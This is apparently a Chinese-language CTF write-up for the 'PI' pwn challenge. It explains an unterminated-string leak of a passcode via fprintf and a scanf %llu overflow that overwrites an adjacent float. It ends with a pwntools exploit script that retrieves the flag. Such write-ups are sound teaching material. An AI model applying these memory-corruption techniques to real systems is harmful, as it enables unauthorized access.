DASCTF/BJDCTF 4th PWN

PI

第一部分

unsigned int rad_num; 
char passcode[64];
char input1[64]; 
snprintf(passcode, 0x40uLL, "%u", rad_num);
fprintf(stdout, "Welcome %s. \n", input1);

这里的fprintf和%s构成了字符数组溢出漏洞。如果input1中的数据全部被填完,即input1[63] != '\0',根据fprintf函数的特性,会一直读\0才会终止字符的读取。而且通过调试可以知道passcode和input1两个变量中内存是连续的,所以fprintf会一直读到passcode后才终止。

这里有一个比较坑的地方,ida7.5在反编译后把char passcode[64]; char input1[64]; 调换了顺序,导致Ctrl+F5后在本机的C代码,是无法读到passcode的。

第二部分

unsigned int v1;
float v2;
v1 = 30000;
v2 = 0.0;
while ( 1 ){
  fwrite("N = ", 1uLL, 4uLL, stdout);
  __isoc99_scanf("%llu", &v1);
  if ( v1 )
    v2 = (float)(4.0 * (float)(int)sub_166F(v1)) / (float)(int)v1;
  fprintf(stdout, "pi = %.7f\n", v2);
  v0 = v2 - 3.1415926;
  v3 = fabs(v0);
  fprintf(stdout, "error = %.7f\n\n", v3);
  if ( v3 <= 0.0000001 )
    system("/bin/cat flag");
}

这里有个整数溢出,是%llu和unsigned int v1,float v2构成的漏洞。

首先在gcc中,unsigned int和float都占四字节,而%llu接受八个字节的输入。

而scanf函数中的&v1只是用来提供首地址,写入多少数据,只受格式"%llu"影响,所以我们可以尝试构造八个字节使v1为0,v2为3.141592。

写个程序可知3.141592在程序中是以40490FDA储存的。即构造 40 49 0F DA 00 00 00 00 使在输入完v1后可以同时使v1为0,v2为40490FDA,输入40490FDA00000000的十进制,即可得到flag。

脚本

from pwn import *

debug = 1
localfile = "./pi"
ip = ""
port = ''

if debug == 1:
	p = process(localfile)
else:
	p = remote(ip,port)

payload = 0x40 * 'a'
p.recvuntil('Username:')
p.sendline(payload)
		
p.recvuntil('a' * 0x40)
password = p.recv(10)
p.recvuntil('Passcode:')
p.sendline(password)
		
p.recvuntil('N =')
p.sendline('4632251120704552960')
	
p.interactive()
posted @ 2020-12-26 19:46  B1ank  阅读(326)  评论(0编辑  收藏  举报